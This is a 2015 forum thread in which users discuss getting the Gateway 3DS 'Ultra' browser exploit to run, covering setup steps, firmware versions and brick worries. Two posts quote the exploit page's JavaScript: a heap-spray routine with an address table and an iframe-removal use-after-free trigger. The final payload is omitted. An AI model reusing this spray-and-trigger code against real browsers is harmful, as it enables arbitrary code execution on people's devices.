Hacking Gateway 3.0 : "Ultra"

Deleted member 473940 · Jan 10, 2015

I am surprised their site hasnt crashed yet.

escherbach · Jan 10, 2015

Thunder Hawk said:
<html>
<head>
<style>
body {
color:white;
background:black;
}

</style>
<script>
function magicfun(mem, size, v) {
var a = new Array(size - 20);
nv = v + unescape("%ucccc");
for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));

mem.push(t);
}

function dsm(evnt) {
var mem = [];

for (var j = 20; j < 430; j++) {
magicfun(mem, j, unescape("\u0000\u08e0\u0004\u08e0\u0008\u08e0\u000c\u08e0\u0010\u08e0\u0014\u08e0\u0018\u08e0\u001c\u08e0\u0020\u08e0\u0024\u08e0\u0028\u08e0\u002c\u08e0\u0030\u08e0\u0034\u08e0\u0038\u08e0\u003c\u08e0\u0040\u08e0\u0044\u08e0\u0048\u08e0\u004c\u08e0\u0050\u08e0\u0054\u08e0\u0058\u08e0\u005c\u08e0\u0060\u08e0\u0064\u08e0\u0068\u08e0\u006c\u08e0\u0070\u08e0\u0074\u08e0\u0078\u08e0\u007c\u08e0\u0080\u08e0\u0084\u08e0\u0088\u08e0\u008c\u08e0\u0090\u08e0\u0094\u08e0\u0098\u08e0\u009c\u08e0\u00a0\u08e0\u00a4\u08e0\u00a8\u08e0\u00ac\u08e0\u00b0\u08e0\u00b4\u08e0\u00b8\u08e0\u00bc\u08e0\u00c0\u08e0\u00c4\u08e0\u00c8\u08e0\u00cc\u08e0\u00d0\u08e0\u00d4\u08e0\u00d8\u08e0\u00dc\u08e0\u00e0\u08e0\u00e4\u08e0\u00e8\u08e0\u00ec\u08e0\u00f0\u08e0\u00f4\u08e0\u00f8\u08e0\u00fc\u08e0\u0100\u08e0\u0104\u08e0\u0108\u08e0\u010c\u08e0\u0110\u08e0\u0114\u08e0\u0118\u08e0\u011c\u08e0\u0120\u08e0\u0124\u08e0\u0128\u08e0\u012c\u08e0\u0130\u08e0\u0134\u08e0\u0138\u08e0\u013c\u08e0\u0140\u08e0\u0144\u08e0\u0148\u08e0\u014c\u08e0\u0150\u08e0\u0154\u08e0\u0158\u08e0\u015c\u08e0\u0160\u08e0\u0164\u08e0\u0168\u08e0\u016c\u08e0\u0170\u08e0\u0174\u08e0\u0178\u08e0\u017c\u08e0\u0180\u08e0\u0184\u08e0\u0188\u08e0\u018c\u08e0\u0190\u08e0\u0194\u08e0\u0198\u08e0\u019c\u08e0\u01a0\u08e0\u01a4\u08e0\u01a8\u08e0\u01ac\u08e0\u01b0\u08e0\u01b4\u08e0\u01b8\u08e0\u01bc\u08e0\u01c0\u08e0\u01c4\u08e0\u01c8\u08e0\u01cc\u08e0\u01d0\u08e0\u01d4\u08e0\u01d8\u08e0\u01dc\u08e0\u01e0\u08e0\u01e4\u08e0\u01e8\u08e0\u01ec\u08e0\u01f0\u08e0\u01f4\u08e0\u01f8\u08e0\u01fc\u08e0"));
}
}
</script>
</head>
<body>
<h1 align="center">GATEWAY 3DS LOADING...</h1>
</body>
</html>

So this is the exploit?

It will have been carefully booby-trapped to only work with the offical Gateway launcher.dat - that's for sure

NAND0 · Jan 10, 2015

Well it says this is a public beta release. I dont really want a brick

TheAtomicFist · Jan 10, 2015

If anyone is doing the steps correctly, and still getting errors, it is just server load. Keep trying and you will get it!

Rikua · Jan 10, 2015

For Everyone having a hard time getting this to work!
REMOVE ALL GAME CARDS FROM THE SYSTEM!
Thats what I had to do and the Web exploit FINALLY went through.
Backing up my 9.2.20u Nand as I type this

UraKn0x · Jan 10, 2015

Got it working perfectly on 9.2.0-20E. I had to try a few times before I got it working, though.

darkraider2009 · Jan 10, 2015

if u ever try it u cant run browser on n3ds it will update or not (it send me in the update menü) so its o exploit on the n3ds. what get rl later.

Ra1d · Jan 10, 2015

tjexp said:
Really simple
- Download 3.0
- Play the launcher.dat file in the Ultra folder onto your 3DS SD card
- Place Gateway card in 3DS
- Start 3DS and launch browser
- Clear history and cookies
- Go to go.gateway-3ds.com
- wait

Blue or Red ?

tjexp · Jan 10, 2015

It was only released half to stop the whining.

Sizednochi · Jan 10, 2015

lisreal2401 said:
I'm trying to figure out if it even boots without a red card. It doesn't on my end, and downgrading was my intention as well.

9.2.0-20U

Some people on this same thread have made it boot without the GW card. I'm going to try soon.

tjexp · Jan 10, 2015

Ra1d said:
Blue or Red ?

Woops Red

Sosainas · Jan 10, 2015

Was working a moment ago, and now gives me an error always I try to boot the exploit.

hias · Jan 10, 2015

If you go to http://go.gateway-3ds.com/ using a 3ds user agent you get this page instead:

<html>
<head>
<style>
body {
color:white;
background:black;
}

</style>
<script>
function magicfun(mem, size, v) {
var a = new Array(size - 20);
nv = v + unescape("%ucccc");
for (var j = 0; j < a.length / (v.length / 4); j++) a[j] = nv;
var t = document.createTextNode(String.fromCharCode.apply(null, new Array(a)));

mem.push(t);
}

function dsm(evnt) {
var mem = [];

for (var j = 20; j < 430; j++) {
magicfun(mem, j, unescape(""));
}
}
</script>
</head>
<body>
<h1 align="center">GATEWAY 3DS LOADING...</h1>
<iframe width=0 height=0 src="frame.html"></iframe>
</body>
</html>

This way the page "http://go.gateway-3ds.com/frame.html" also gets loaded. Its content is

<html>
<head>
<script>
var nb = 0;
function handleBeforeLoad() {
if (++nb == 1) {
p.addEventListener('DOMSubtreeModified', parent.dsm, false);
} else if (nb == 2) {
p.removeChild(f);
}
}

function documentLoaded() {
f = window.frameElement;
p = f.parentNode;
var o = document.createElement("object");
o.addEventListener('beforeload', handleBeforeLoad, false);
document.body.appendChild(o);
}

window.onload = documentLoaded;
</script>
</head>
<body>
KEKEKEKEK...
</body>
</html>

The payload included is also different as well depending on the user agent. Will not include it here though, if it should contain encoded personal information.

TwoBladedKnight · Jan 10, 2015

Well, disappointing that it doesn't load on the New 3ds yet. Glad I kept both my old XLs...

obs123194 · Jan 10, 2015

DjoeN said:
There public BETA is not to stop Whinning people, it cause Supercard officially announced there DSTwo+
There afraid ppl started to sell there Gateway and sales would end cause everybody would jump on the Supercard train

Just my idea

I swear if that's the reason the N3DS isn't supported yet then im fine with that.. otherwise wtf I probably should have waited and got a new NA 3ds xl instead of an australian one..

sparrowreal · Jan 10, 2015

ShawnTRods said:
I am surprised their site hasnt crashed yet.

Well, we n3ds users aren't going to bother to download something that is not going to work on our consoles.

jazariz · Jan 10, 2015

Arnold0 said:
It does work now my bad, it also works fine in 4.5 using the old method in DS profile.
Now backing up .92 nand especialy since it nags me to update to 9.4

how did you get it to work?

Nico143 · Jan 10, 2015

Meanwhile at Nintendo, Reggie, Iwata, and Miyamoto are panicking: WE'RE DOOMED! :cry:

(Not really, but still...) :rolleyes:

Th0r · Jan 10, 2015

Sorry, can someone link me a guide?

Tokiopop · Jan 10, 2015

So does it have to downgrade to 4.5, or is that an option?

SonyUSA · Jan 10, 2015

http://www.maxconsole.com/maxcon_forums/threads/286487-3DS-N3DS-Gateway-Ultra-Guide

Here you go everyone

Hacking Gateway 3.0 : "Ultra"

Well-Known Member

Well-Known Member

Well-Known Member

Member

Well-Known Member

Official senpai

Member

Well-Known Member

Happy New Year!

Well-Known Member

Happy New Year!

Well-Known Member

Active Member

Well-Known Member

Well-Known Member

Well-Known Member

Well-Known Member

Member

Well-Known Member

Caffeine fiend

We're all mad here

Similar threads

Popular threads in this forum